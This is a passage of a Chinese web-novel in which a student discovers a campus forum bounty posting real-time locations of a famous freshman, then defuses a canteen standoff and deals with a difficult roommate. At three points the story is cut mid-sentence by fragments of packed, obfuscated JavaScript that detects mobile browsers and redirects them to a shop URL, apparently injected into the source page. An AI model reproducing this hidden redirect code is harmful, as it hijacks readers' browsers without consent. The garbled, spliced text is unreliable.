几乎就在她回答完成铭的同时,她眼睛就一亮,显然是已经看出了端倪。 然后她就在屏幕上打开了重重叠叠各种窗口,开始调整电脑设置、下载专用浏览器、申请指定网址的邮箱…… 江海洋只好当一个告密者,“呃……她好像找到了。” 成铭丝毫不感到惊讶,只是问黎晓,“你真的明白?” “明白。”黎晓很快完成了设置和申请,正在等待下载结束。于是也认真的抬起头来看向成铭,“你是不是还想告诉我,警察的警力都不够,我一个人的精力肯定也管不了?”她说,“我明白的,我确实不是小孩子了,成铭。我知道一个人能力的极限,也知道很多事是须臾之间改变不了的,我还知道……有时候为了做到某件事你必须舍弃其他的事。所以,你不用担心我进了悬赏区之后,发现这件事不对我得管,那件事也不对我不能袖手旁观……最后把自己弄得疲惫不堪。” “……我只是想去看看那些以前我没机会看到的,却随时都在另一个地方确实发生着的场面。”她说,“我只是想更全面的了解一下,我生活在怎样一个时代,怎样一个世界。。” 成铭目不转睛的凝视着她,没有反驳她的任何一句话。 这个时候,下载完毕的提示音响起了,她于是安装好新的浏览器,重新打开了白隼站。 ——比之前的浏览器显示效果起码倒退了两个世代的古早页面上,两只火把之间“悬赏区”的链接,醒然在目。 她说,“你自己什么都看了什么都想了,却拦着不准我接触不给我选择……”她点进了悬赏区,如暗黑石牢轰然开启的跳转效果之后,全黑的页面上,古老的表格式论坛如卷轴展开,一排排标题各异的悬赏题头,映入她同样漆黑的眼瞳中。她说,“那就太不公平了。” 居鲁士看着她的眼睛,终于迟钝的意识到了什么,忙起身探头看过去。 看到悬赏区的页面时,他脑中莫名就跳出了四个字——原来如此。 合格了。他想。 这并不是个跟他想象的一样简单到能一眼看穿的女孩,不,也不对——他确实一眼就看穿了她。居鲁士想。她是个单纯的、正直的,只有嘉洛林那种高人权的温室环境才能培养出来的,纯粹正面的女孩儿没错。就只是,这种女孩,或许也并都如他所鄙薄的那般脆嫩,柔弱,你可以用残酷的现实一把就掰断她们的信念和坚持。她们,或许要更勇敢些、顽强些。 而成铭和她之间,也确实曾发生过什么。不论成铭是因此而维护她,还是因为她身上有更值得尊重的品质,但无疑……正是曾在他们之间发生的事,促使这个女孩儿选择了去走更艰难的那条路。 “悬赏区的页面。”他耸了耸肩,告诉成铭,“虽然好像一目了然,但还是容我重申一下——不关我事,是她自己找进去的。” 而成铭凝视着黎晓,就像他之前无数次想而不允许自己去做的那样。 “嗯,”他说,“我知道。” 他一直都知道,事情终归会变成这样。 27. 此间的少年(八) 黎晓打开了悬赏区。 有那么短暂的一会儿,黎晓忍不住怀疑,她是不是进了“正确”的悬赏区。 因为这里跟成铭他们提醒的完全不一样。 这里充斥着毫无意义的灌水、八卦、抖机灵,每一个标题和回复都生动活泼的展现着发言者的才华横溢和……开课太晚实在没事儿可干。 就黎晓看来,比起“不道德”和“违法”的话题,实质上他们对校内的野猫还更关注些。首页和十大热门里飘着起码两个关于猫的帖子——限猫党在悬赏“义士”给校内所有野猫登记造册,以方便阉割;而爱猫党则悬赏“勇士”给校内所有阉猫派人士登记造册,以方便隔离。由此引发两校学生疯狂围观、参战、支招和搅浑水——没错是两校,在“校内野猫”这个话题上,似乎国立大学的学生和二军大的学生同样关心,并且立场同样分裂。为此他们不惜抛开对对方的传统偏见,去“对面”参战和应援。 似乎还有人趁乱提出——别光说猫,有没有人敢讨论一下狗?但好像没什么人理会,帖子一眨眼就沉了。 黎晓:…… 黎晓颇费了些功夫,才筛掉这些穷极无聊的话题,找出些有用的内容。 ——比如说,学生们自己编纂的“选课指南”。 跟官方编纂的选课指南不同,这份指南该怎么说呢……它的部分内容非常功利。它直白的告诉你,哪些课通过率高,能让你轻易的拿到A。哪些老师可以通融,预感到不及格时你可以去求他改分数。哪些老师的推荐信格外管用,如果暑假或者大四想去某某部门实习一定要选他的课,但注意上他的课千万别迟到,他最讨厌迟到…… 黎晓:…… 说真的,二军大的学生关心的居然是这些东西,黎晓确实有些小小的幻灭。 不过,或许——大部分人关心的就是这么庸俗功利的事,这才是社会的常态吧。 除此之外……还有一份“教师风云榜”。 似乎每学期期末考试之前,白隼站都会举办一次“年度风云人物评选”和“年度风云事件评选”。其中“风云人物评选”里特设教师会场,由悬赏区开发评分系统,全站用户打分投票评选。评选结果会编成类似《装备师》杂志《号外刊》形式的电子读物,单独发布。 黎晓粗略扫了一眼,评分指标仿照优秀学生评选的指标设置。但类似的指标,从教师评价学生换成学生评价教师,就透出一股十分荒诞的、极具讽刺效果的意味。而学生们填写的评语,也大都充满了天才们独有的刻薄和恶毒。 ……看得出部分学生对某些老师,内心充满了亟待宣泄的不满。 ——并且,她的军训导师济慈准尉,上榜了。 见识过“教师风云榜”的跟帖后,黎晓稍稍有些明白,为什么不论成铭还是凌河都要拦着她了。 ——在不能追查到真身的匿名论坛上,人隐藏在心底的、在正常社交中断然不会外露的恶毒、轻佻、暴戾……全都变本加厉的暴发出来。而军校学生以男性alpha和强势的男性beta为主,他们的恶毒、轻佻、暴戾……常常在无意或者故意中,捎带着对女性,特别是女性beta和omega的侮辱,以及对平权主张的嘲讽。 其中一些是非常露骨直白的性侮辱。 尽管那些格外刺眼的主题和回帖,很可能都是自极少几个变态之手,但它们确实堂而皇之的存在于此——并且纠正和制止他们,在这个论坛上,是被认为无趣和不合时宜的。你只能用比他们更高明和恶毒的言辞攻击回去,才能获得称赞。 没错,称赞。在这里所有人都是围观者。他们只称赞和取笑,而不支持和反对。 并且,他们只称赞“高明”和“有趣”。他们倒也并不反对正确和尊严,但这两者的姿态往往是无趣的,所以他们也不保证不会取笑。 这让黎晓感到很矛盾。 ——她敢说,主持编纂《选课指南》的和主持“年度风云系列”的,是截然不同的两类人。她也敢说,这两类帖子的关注者有很大的重叠。这是一个很神奇的地方,在这里任何一个人都可能表露出截然相反的两种甚至几种性格和审美趣味。 就像一棵未经任何斧斫和导正,肆意的放荡的生长的树。这样的人,其实比衣冠楚楚的人,更真实也更无防备。 她喜欢这点——喜欢这种大家都很放松的气氛。 可是…… 这些放松着的人,他们大都有良好的学识,聪明有趣的头脑,独立的人格和思维——他们连恶毒都恶毒得那么妙语连珠。 他们所聚集的论坛,却充斥着对某些性别的侵犯性的言辞。 他们显然并不是因为愚蠢和偏见而冷漠和歧视。 他们只是,用他们那颗聪明的头脑,选择了冷漠和歧视的立场。 这让黎晓有种在无数围观之下孤军奋战的无所适从感。 她在自己憧憬仰望过、生活学习着的地方,品味到了误入敌阵的滋味。 她终于清晰的意识到——她已经不在嘉洛林了。 她已经来到既有肥沃土壤、阳光雨露,却也同样遍布细菌病害、狂风骤雨的真实世界了。 她于是稍稍定了定神,准备再接再厉的研究一下那些她因为“权限不足”,而无法阅读的隐藏贴。 这时首页上有个昨天发的旧帖被顶了上来——在这种全民灌水的高流量网站,连新帖子也是眨眼就沉,被人特意翻找出来的旧帖,往往要么非常实用,要么热度持久。 黎晓于是稍稍分神,扫了一眼标题。 ——[万维币悬赏][长久有效]详情入内 万维币——大概十六年前出现的虚拟加密数字货币。以严密的算法,有限的数量、高度的安全性而著称,是最早被炒作起来的数字货币,一度成为最紧俏的金融投机物品,巅峰期价格达到20000元兑换1币。 这些年来类似的虚拟货币骗局一个接一个的破局倒闭,留下无数倾家荡产的受害者。万维币也逐渐销声匿迹。 但万维币相对安全和保值,并且交易匿名性极好,逐渐成为黑市最主要的交易货币。尽管在一些地区——比如嘉洛林区——禁止交易平台从事此类数字货币的发行、定价、兑换业务,但私下的转账买卖始终存在。 总之——万维币悬赏和现金悬赏相去不远。唯一的区别在于,万维币转账既不通过银行系统,也不用当面给钱,更匿名和难以追踪。 在此之前,黎晓对她上的这个论坛是“悬赏类暗网”,完全没有实感。 但万维币三个字一出,她瞬间就嗅到了黑市暗网的气味。 于是毫不犹豫的点了进去。 主贴格式有如通缉令—— 对象:今年入学的紫瞳新生 要求:实时播报其位置。教室、餐厅、图书馆等适合围观处优先 奖励:最先提供可被证实的位置者,奖励100币(限1次)。之后每次,最先提供者奖励1币(长期有效)。 黎晓愣了一阵,懵懵懂懂的意识到了什么。 她飞快的再次抬眼扫了一遍标题——终于在[万维币悬赏]之前,看到了[热门]红标。 ——这是昨天登上了热门榜的帖子。 ——原来昨晚的悬赏区热门第一,是一张实时播报陆清源身处的位置的帖子。 黎晓再一次回想起了他们走进苍鹭亭时,所感受到的无数目光。 她曾跟沙利叶开玩笑说——怎么听上去感觉陆清源的处境有些可怜啊。 她为自己彼时的轻率和戏谑,而感到非常、非常抱歉。 她推开椅子起身,大步走向护栏,向下望去——果然在他们先前所坐的位置上,看到了正在和安德烈一起用餐的陆清源。 她于是招手,喊他的名字,“陆清源——” 走进苍鹭亭时,陆清源立刻感受到了——来自四面八方的说不上是好奇还是杀气腾腾的目光。 他早已不是头一次被人围观。 但升入高中之后,此类情况确实慢慢就少了,毕竟——他以为——他已经长大到能让别人在做出类似挑衅的举动前,稍稍顾虑一下后果的年纪了。 如果可以,他还是希望能和平解决。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726858|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 应对这种规模的群殴,他很难保证点到即止,不会手滑。但在学生用餐的地方,为必定十分无聊的理由而造成伤亡,无论如何都有些过火了。 但无论如何,陆清源并没有以大局为重的转身离开。 他照旧和安德烈闲聊着先前的话题,闲庭信步的踏入了苍鹭亭。买好午饭,而后来到餐厅中央那张一看就知道是特地为他们空出的位子前。 ——继续边聊边吃。 午餐接近尾声时,他们终于讨论好了校会官网防火墙的升级方案。 安德烈擦了擦手,有些不满的问陆清源,“你觉得我们吃完前,他们会不会动手?——还是说他们在等我们先动手?” 陆清源喝了口水,“我不会先动手,当然也不会等他们。” “所以你的意思是?” “跟平常一样。” “这怎么看都跟平常不一样吧!” “……”陆清源说,“他们不一样,我们一样——吃午饭,吃完离开。” “噢我懂了!就是你以前说的‘以不变应万变’!” “嗯。” “那如果他们打过来了呢?” 陆清源说,“那就先礼后兵。” 安德烈忽然觉得这一整套流程仿佛在哪里见过似的,“说起来,这种阵仗我们以前遇到过吧?” “嗯。” 从幼儿园到大学,每换一个学校,差不多都得重来一次。 安德烈似乎想起些很不妙的回忆,“呃……我没对你干过这种蠢事吧?” “……”陆清源仔细想了想,“不记得了。” 他通常不会主动去记那些挑衅他的人的名字。 ——反正他从来也没打输过。 “这种时候请务必说‘没’!”安德烈强烈要求。随后自己也笑起来,“不过,谁叫你是紫瞳呢。身为alpha谁不想探一探你的底细?” 陆清源微微皱起了眉头,反问,“为什么?” “什么为什么?” “为什么身为alpha,就一定想要试探别人的底细?” “……因为据说你很强?” “就因为我很强,所以忍不住想要挑战我吗?” “……嗯,”安德烈也稍稍有些不确定了,“争强好胜也算alpha的本能吧。” “本能吗?”陆清源说,“身为人,控制住自己的本能,不是最基本的修行吗?” “呃……”安德烈思索了一阵,“嗯,这么说也对。不过,你怎么突然想到这里了?” 陆清源垂了睫毛,继续吃他的午饭,“就只是——每次听到‘身为alpha’这句话,后面跟着的,总是些要么蠢,要么坏的事。忍不住就有些发怒了。” 他想,他稍稍有些改主意了。 ——如果这些人今天真的是来打架的,那他一定会尽全力教他们,“身为alpha”却不懂得控制自己的本能,后果会有多么严重。 这时,他忽然听到高处清脆的嗓音如晨光破雾般传来,“陆清源——” 他下意识的仰头望去,便见那个姑娘正用那双黑亮湿润的眼睛,欢喜的看着他。 他猛然间从心底熔岩般厚重低沉的怒意中清醒过来,为遇见她时自己竟在想些粗暴冷酷的事而感到懊恼,也为她毫无隔阂的亲密举止而感到不知所措。 这导致他在看见她的第一时间,不但没能恰当的将那一刻的惊喜表露起来,反而不由自主的扭头避开了她的目光。 调整自己的表情时,他早将四周令人不悦的围观抛之脑后,满心想的都是——糟糕,她一定更觉得我是个莫名其妙的人了。 但他依旧像一个最游刃有余的alpha一样,再度微笑着迎向了她的目光。 但这时黎晓再次笑着招了招手,“安德烈,你也在啊。” 就算在alpha中也是最讨女孩子喜欢的哪一类的伊特鲁里亚人安德烈,早欢喜的献起了殷勤,“这么美的晴天,我就知道一定会遇到好事——好久不见啊,黎晓,我想死你们了!” 陆清源:…… 28. 此间的少年(九) 因为这一番搅局,人群的注意力纷纷转向黎晓。 陆清源这才从偶遇黎晓的惊喜中稍稍回神——他亲眼见过黎晓的战力,他很清楚,在不动用礼装的情况下,黎晓肯定不会轻易输给什么人。也许在力量上她并不占优,但她使用力量的方式极其巧妙和灵动——至少她不会轻易受伤。 但这仅仅限于正面交锋。 和alpha不同,这个世上能用来对付omega的阴损招数实在太多了。 ……或许,眼下并不是偶遇的好时机。 他正要节制的还礼,向黎晓打招呼,便见黎晓身旁又冒出个人。 ——成铭淡定的向下一看,很随兴的向他们挥了挥手,“是你们啊?好久不见。” 不得不说,陆清源熊熊燃烧的喜悦之火上,被浇了小小一盆冷水。一开始他以为这是他和黎晓的偶遇,而后他发现,在黎晓眼中,她偶遇的不但是他,还有安德烈。而现在他总算明白了,这甚至算不上什么偶遇,这只是一次不掺杂任何浪漫因素的……集体重逢。 但当然,成铭的出现,瞬间就让黎晓的举动变得不是那么醒目了。 ——某种意义上,也算是化解了他的困境。 他于是笑着回应,“成铭,黎晓——好久不见。” 而后,就见黎晓和成铭身后,又排开了三个人,“哦哦,陆同学,好巧好巧。” 是啊……好巧啊,陆清源哭笑不得的想。他该料到的,黎晓是嘉洛林出身的omega,她不是笼子里飞出来的金丝雀。她有很健康的人际关系。路上遇到了,挥挥手打个招呼,在她的日常中,只是再正常不过的社交礼仪。 黎晓笑着说,“我们在楼上聚会呢,你们要不要一起来?” 陆清源便也笑着回答,“好,我们这就上楼。” 黎晓他们不合时宜的出现,打破了那种浑然天成的alpha间互相较劲的气场,也打断了很多兴致。 陆清源接受邀请后,那些原本只是来围观、一见之下却克制不住动起“想要跟他打一场”的念头的alpha们,纷纷感到败兴——也纷纷意识到,这毕竟是学生餐厅,不是适合动武的场合。 尽管如此,陆清源和安德烈端着餐盘上楼时,依旧有人故意撞过来。 但谁叫陆清源心情好呢? ——他若无其事的避开,仿佛没有察觉到其中的挑衅意味一般,眼神都不撇过去一下。 待他们走上二楼用餐区时,苍鹭亭中弥漫着的火拼气氛,几乎就已消散殆尽了。 意识到这一次无论如何都很难打起来了,拖延不走的食客们终于开始接连起身离开。 叮叮咚咚一片餐盘声后,苍鹭亭很快就空出大半。剩下的就只有被牵连的无辜学生,和纯粹想见见“紫瞳alpha”长什么样的普通围观群众了。这类人其实很不少,不过他们总是在事后才浮出水面。陆清源也是经历过很多次之后,才意识到这群人的存在——这也是他为什么不愿意在苍鹭亭中动手的原因。 黎晓他们已经把那张大桌子从角落里搬出来,凑齐了七张椅子。 陆清源对居鲁士还有些印象,却不知他和黎晓有什么交情。于是笑着询问,“这是什么聚会?” “……”黎晓居然短暂的卡壳了,自暴自弃的笑道,“……算是B盟的迎新会吧。” “你们在找B盟的迎新入口吗?”陆清源显然知晓B的真相,于是顺势走到她身后,放下餐盘上前看她的屏幕。 黎晓才刚回到座位上,页面上悬赏紫瞳alpha的窗口还没有关。 ——她完全没料到,陆清源会坐到她的旁边。 她一时反应不及,陆清源已捕捉到了关键词。 “白隼站的悬赏区吗?”他脸上笑容已沉,轻轻道一声失礼,便上前接管了黎晓的鼠标。 ——他是被悬赏的当事人,黎晓不能不让他看。只好侧身让出位置。 陆清源飞快的拖动页面。 大部分回帖都没什么营养——不过是从各种角度表达一下对紫瞳alpha的好奇,提议众筹赏金,公开答案大家一起分享。 但很快他就找到了能解释他今天遭遇的回帖—— 有人分析了他的行踪,指出,这么多人对他感到好奇,却至今无人提到曾偶遇过他,那就只有一个可能了——这些天他一直待在室内,就算外出就餐,也选在了比较偏僻的餐厅。据说新生报到日他曾去机场迎新,可见他已加入了学生会。而学生会刚刚更新了官网,修掉了一些后门和漏洞。总所周知,这是个能让人直接在机房打地铺的苦差事——会不会他也参与其中了?若果真如此,那么离学生会最近的苍鹭亭餐厅,就是他明天中午最可能出现的地方。 …… 不得不说,这些匿名者在揭露别人的行迹之谜时,直觉真是精准得可怕。 陆清源确实没料到,自己有一天也会成为别人的悬赏对象。 但归根到底,这次悬赏和以往每一次围观,没有任何本质上的区别。 他对此并不感到忧虑——从小到大他一直都是人群关注的焦点,可以说他就是在众人灼灼的审视目光下长大的。有没有这么一个悬赏贴,实时向人群播报着他的位置,对他而言并无太大的区别。 只是,看到这样的帖子他也终于明白,黎晓为什么要在午饭吃到一半时,忽然从远离护栏的角落里,特地上前确认楼下的状况。 并不是他的幸运之神意外降临,令她福至心灵。 很可能恰恰相反——她看到了这个帖子,意识到他或许正身处困境,于是挺身而出。 她并非意外打破了众人心照不宣的氛围,她是在知晓自己可能被卷入的情况下,拒绝置身事外,选择言明自己的立场。 这是……怎样的omega啊。 他一时竟不知该如何反应才好,只是无奈的看着黎晓,喃喃的问,“……这就是嘉洛林的处事风格吗?” 黎晓似是愣了片刻。 然而她毕竟是个omega,omega是善于倾听言外之意的。 她并没有急于道歉——因为她发自心底的不认为自己做错了,所以她问,“是我多管闲事了吗?你们亚丁人比较不喜欢别人插手?” “不,不是这样的……”莫名的陆清源便又记起上元之夜他们初次相遇,他自幽暗的山路间拐过了山崖,一瞬间漫天星月清辉遍洒寒江,照彻整个山谷。那月色之下的姑娘面庞明净美好,眼眸中仿佛含着整个山谷的月色。那时他只是想,他应该立刻上前对她说些什么。可这一刻他却发现自己其实什么也说不出,他凝视着她明澈依旧的目光,听到了自己心口怦然跳动的声音。 他避开了她的目光,忽然为他们之间过于近的距离,而感到燥热不安。 “只是,我不那么习惯……外来的援手。”他在说什么啊,陆清源懊恼的想,这不就是在说她确实多管闲事了吗? “嗯,说起来,确实有些不习惯啊。”安德烈及时补充,他特意将手放到陆清源的眼睛下,示意黎晓看清楚,“在帝都,这种级别的alpha起冲突时,正常的反应都是躲得远远的,或者缩得小小的。别被无妄之灾波及到。” “那不叫‘正常的反应’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726859|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是‘明智的判断’。”成铭说,“她从小就这样,你们习惯就好。” “没错没错,习惯就好。”凌河也心有戚戚焉的点头。 “总之……谢谢。”陆清源却突然说。 正要轻松活络起来的气氛,霎时再次陷入一片寂静。 成铭看向了黎晓,而黎晓在短暂的怔愣后,却也看向了他,而后是凌河他们三个。意识到只能由她来回话,她有些别扭的红了脸颊,“这种理所当然的事,就不要说谢了啊……” 就算在嘉洛林,这种对峙之下她站出来,得到的也通常都是“多管闲事”的评价——alpha们似乎总觉得他们之间的争斗有着特殊的意义,那意义超脱于大众的安宁之上,当然也超脱于庸俗的法规之上。所以……是的,正如陆清源不习惯有人为他挺身而出,黎晓其实也不习惯被人认真的道谢。 何况,她只是觉得这种事非站出来不可,倒也并不是特地要帮着谁。真被道谢了,反而会……不知该如何是好。 成铭丢掉了捏扁了的可乐杯,翻开电脑敲着空格等待屏幕苏醒。 黎晓也飞快的从不知该如何应对的尴尬中复苏,坦率的表露出自己因这一声谢谢而感受到的腼腆的欢喜。 不过,她确实不打算听到更多的感谢了。于是飞快的岔开了话题。 “不过,就让这种悬赏肆无忌惮的挂在论坛上吗?”她问。 他们可以因为对紫瞳好奇就悬赏陆清源,是不是也可以因为随便看那个学生不顺眼,就发动全校去人肉他、尾随他? 在黎晓看来,这已经完全超出恶作剧的范畴,踏入校园暴力,甚至侵犯人身安全的界限了。 “我会处置的,”陆清源说,“白隼站也不是法外之地。” 安德烈就站在陆清源身后,跟着读完这张帖子。听他这么说,不无调侃,“别看这些人悬赏起别人来百无禁忌,对自己那点儿‘隐私自由’却敝帚自珍得很。只怕处置之后,你反而更甩不脱他们了。” 陆清源不解,“那又怎么样?” “嗯……”安德烈想了想,笑道,“确实也不能怎么样。” 黎晓他们已经体贴的为他和陆清源各准备了一张椅子,就摆在同一边。安德烈回到自己的座位上坐下,抬头看到陆清源和黎晓双双站在电脑前,旁边只摆着一张椅子,正要把自己身边那张多余的推过去,陆清源已有所察觉,十分巧妙的伸手截下了。 安德烈怀疑,他应该是犹豫了那么一瞬。 而后,他不着痕迹的将椅子推了回去,老老实实坐到了安德烈身边。 安德烈猛的就怔了一怔,那一瞬间他内心的怪异感相当难以描述,因为这分明就是一件不值一提的小事,可一旦发生在陆清源身上,就会让人觉得事情格外不妙——因为,陆清源明显动摇了。 他居然为自己该坐在哪里这种完全无关紧要的事,动摇了? 不,这个人是陆清源,他应该是察觉到了什么异样吧,安德烈想, 他于是悄悄发动了礼装,扫描了一遍陆清源的椅子,而后是他脚下的地板、地板下一楼的内嵌灯……就在安德烈开始排着队给二楼的地板砖扫雷时,他终于察觉到,确实有可以归类为“可疑”的脚步,正向这张桌子走来。 安德烈抬头看过去,却先听到阳光灿烂的一声,“哎,黎晓!你也来苍鹭亭用餐呀,好巧!” 便见一个以安德烈的眼光完全看不出和唐人有任何区别,却直觉他应该不是唐人的黑发黑眼的俊朗男生,正弯了眼睛笑眯眯的向黎晓招手,闪亮亮的八颗牙齿白得跟夏朗峰头的积雪似的。 29. 此间的少年(十) 满桌人的目光都看向了黎晓。 黎晓感到很心累。 她跟这位室友相处已经快一周了,至今还没摸透他的性格,却已基本摸透了他的行事逻辑。 他前脚才热情友善的跟她套着近乎,扭头就当着她的面跟人打电话说她“口音难听”。会在黎晓使用自习室时把外放音乐调到最大声,却为黎晓完全没注意到的小动静来询问“我这样会不会打扰到你”。在接到系里的口头通知时会记得通知对面,却忘记转告黎晓……事后愧疚不已的当面向黎晓道歉,背地就向人忏悔“哎呀我总是不留神就惹到她”。 这一次又在她打招呼时假装没看到——根据他以往的行事风格,黎晓估计事后如果她提这件事,他会说“哎呀对不起我真没看见你,你不会生气吧”;如果她不提,他会反过来主动询问,“哎?你今天是不是去XX了,我好像看到个人特别像你”,等黎晓不得不提时,再说“哎呀对不起我真没看到你跟我打招呼,你不会生气吧”…… ……就有这么心累。 但他跟所有其他人相处时,却都能维持良好的教养、开朗爽快的形象。 黎晓很确定,这个人就是——压根儿没把她放在眼里。 他在试探她的底线,并且毫无疑问的,准备压着她的底线对付她。 她跟他确实合不来。 ——她不想把这个人引介进自己的朋友圈,尤其不想把他引介给成铭。 但在这种情况下,她也只能解释,“……我们住同一间公寓。” “哦,是你的室友啊。”居鲁士恍然。 “是,黎晓的舍友——导力系大一,安杰洛·布……鲁。”他笑着招手自我介绍,声音却不由卡在了半途。 ——当他承认自己是黎晓的舍友时,除居鲁士之外所有其他人的目光,都立刻凿子般敲在了他的身上。 但很快,成铭移开了目光,随后凌河和江海洋也开始不以为然。 过了一会儿,安德烈也看出了什么,若无其事的朝他点了点头。 只有陆清源的目光,在他身上停留得稍久一些,但他无疑也是最温和友善的。 “陆清源,”他礼节周到的主动自我介绍,“很高兴认识你。” 安杰洛于是稍稍松懈下来,目光看向其他人,待他们自我介绍完毕,便微笑着向陆清源询问,“我可以得到一个座位吗?” 最终安杰洛如愿“得到了一个座位”,就在她的旁边。 如黎晓所料——他和除了成铭之外的所有人,都相聊甚欢。 尽管成铭不太搭理他,但黎晓知道成铭有在听。这让黎晓在感到非常无聊的同时,不得不坐卧不安的随时留意他有没有提到她——这个人其实也没说过她的坏话,但每次他说她的好话都能让她的公众形象变糟糕一些。也不知是不是她小人之心。 但非常尴尬的是,这个人确实如她所观察的那般,在公开场合,是个非常有分寸感、非常善于融入集体的人。 他只在向紫瞳alpha献殷勤时,捎带着提了她一句,“我们导力系没有不想跟你搭档的——只不知这件事上,我和黎晓、凌河,谁更幸运一些了。” 黎晓难得意气用事了一回,非常不大度的回答,“我看好凌河。” ——何止看好,她简直恨不能陆清源当场选中凌河,让安杰洛算盘落空。 这个回答让凌河和陆清源都猝不及防。 黎晓也后知后觉的感到懊恼——她想她这是怎么了,安杰洛也没糟糕到会让她这么介怀吧。 凌河却并没有在意,笑着圆场,“多谢抬举。不过,你们就都没想过这种可能吗——也许咱们三个都没这种好运呢。” 居鲁士及时凑上前,双眼晶晶亮的向安德烈和陆清源询问,“……说起来,你们军训都选了哪个班?” 安德烈看了看陆清源,仰头扔腰果吃,“我们没得选,看学校安排。” “哎?为什么?” “我们两个如果选在了一个班,跟我们同班的装备组负担就太重了。”安德烈解释,又指了指成铭,“如果我们两个中碰巧有谁跟他选择了同一个班,等到军训中后期,他身上全回路觉醒,还需要重新组配礼装——那装备组就可以直接过劳死了。” “为了避免这种意外,”安德烈总结陈词,“帝都军事考核的前二十名,军训时都不能自由选班。必须得等其他学生选完之后,听从学校安排。简而言之,我们就是拿来配重的——必须等你们都上秤之后,才能决定添到那边。而这位陆首席,又是我们当中最大、最重的那个添头。所以你们谁想幸运的赢到他,首先必须得不幸的选到战力最差劲的那个班。” “确切的说,是装备力最过剩的那个班吧。”安杰洛弯着眼睛笑着纠正。 “嗯……这么说也不算错,不过新生的装备力很难衡量吧?” “应该也有相应的衡量指标吧。”安杰洛微笑着,“我拿到过萨克森省的少年装备师竞赛奖章,如果学校能把这点列入考虑,我想,我还是很有希望的。” “嗯——”安德烈拖长了嗓音,审视了他一阵子,忽然笑起来,“那么就预祝好运吧。——陆首席,被这么热烈的追求,你就不说点什么吗?” 陆清源似乎稍有些心不在焉。安德烈的调侃如石沉大海,没激起他丝毫反应。 察觉到所有人都兴致勃勃的看着他,他才淡定回应,“……承蒙厚爱。” 在座所有人都克制住了笑意。 但周围偷偷听他们说话的人,却没有克制的自觉。瞬间一片低笑声。 陆清源无意令黎晓的室友尴尬,于是主动引开了话题,“你是萨克森人吗?” “嗯,”安杰洛自嘲着,“父亲是萨克森人,母亲是萨克森人。祖辈上数四代都是萨克森人,我自己也出生在萨克森……所以,应该算是萨克森人吧。” 居鲁士问,“那为什么不就近读一军大呢?我听说一军大的导力系,特招奖学金给得特别慷慨。你拿到过装备师竞赛奖章,肯定满足他们的特招条件吧。” 安杰洛露出了一言难尽的苦涩表情,“只有奖学金给得高,毕业后却根本就没出路——要么挤破头给骑士当专属装备师,要么就只能在底层装备班混一辈子。”他耸耸肩,“我不想说故乡的坏话,但萨克森、一军大……确实不是我这种出身的男beta能出人头地的地方。” 黎晓完全没料到,她会从自己的室友口中听到这样一番话。 该怎么说呢——开学第一天,这个人就打电话跟家人抱怨“唐人的口音好难听”,黎晓还以为他对自己纯正的萨克森口音非常自满。 这个人在她的面前,完全不像个在萨克森受过出身歧视、性别歧视的普通人。跟他相处时黎晓总有一种错觉,好像非得把她比下去,他才安心。有时他表里不一起来,简直像一个一边嫌弃她满身穷酸味儿,一边又顾虑她一身腱子肉的,纾尊降贵的孱弱破落贵族。 但其实——他好好说话时,明明就是个很正常的普通人。 ……难道真的是因为,她比较难相处?让他忍不住就想试探、打压她? 显然不论安德烈还是陆清源,都很难对担忧“毕业后没出路”的beta产生共鸣。 其他人倒是多多少少都明白这种焦虑,却也没他这么深切。 场面一时有些冷落。 安杰洛停了片刻,突然转向黎晓,“不过,就算我这么说,你们也很难感同身受吧。” 黎晓还在三心二意的刷论坛,完全没料到安杰洛会毫无征兆的向她搭话——他明显对安德烈和陆清源更感兴趣。 但难得看到了能改善他们关系的曙光,黎晓还是认真的回答,“能的。” “真的?可是你看起来完全不像那种需要忧心自己的前程的beta啊。” “……”好吧又来了,黎晓想。 她最应付不来的恰恰是这一点,安杰洛总是抓住丁点儿迹象就擅自给她塑造人设——这些人设包括但不限于,用限量版的杯子,父母有事没事就带她吃龙虾大餐,每晚跟她网聊的神秘人是个霸道总裁,“不需要忧心自己的前程”……有时你会弄不清他是真的误解了还是故意的,毕竟他亲眼所见,黎晓是自己拖着行李来读大学的——父母不来送她难道是因为她家太有钱了吗? 但这一次,她想——或许她可以应对得更巧妙些。 毕竟总是一本正经的跟他解释她不是她没有,实在太……莫名其妙了。 “你看起来也不像啊。”黎晓说,“结果不也在担忧吗?” 安杰洛怔了一怔,像是没料到黎晓会是这种反应。 随即他便爽朗的笑起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726860|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“真是荣幸——在你眼里我看上去这么无忧无虑吗?” 黎晓也有些懵,安杰洛很少有这么痛快的放过她的时候。她想,难道她终于找到了跟安杰洛相处的正确方式? 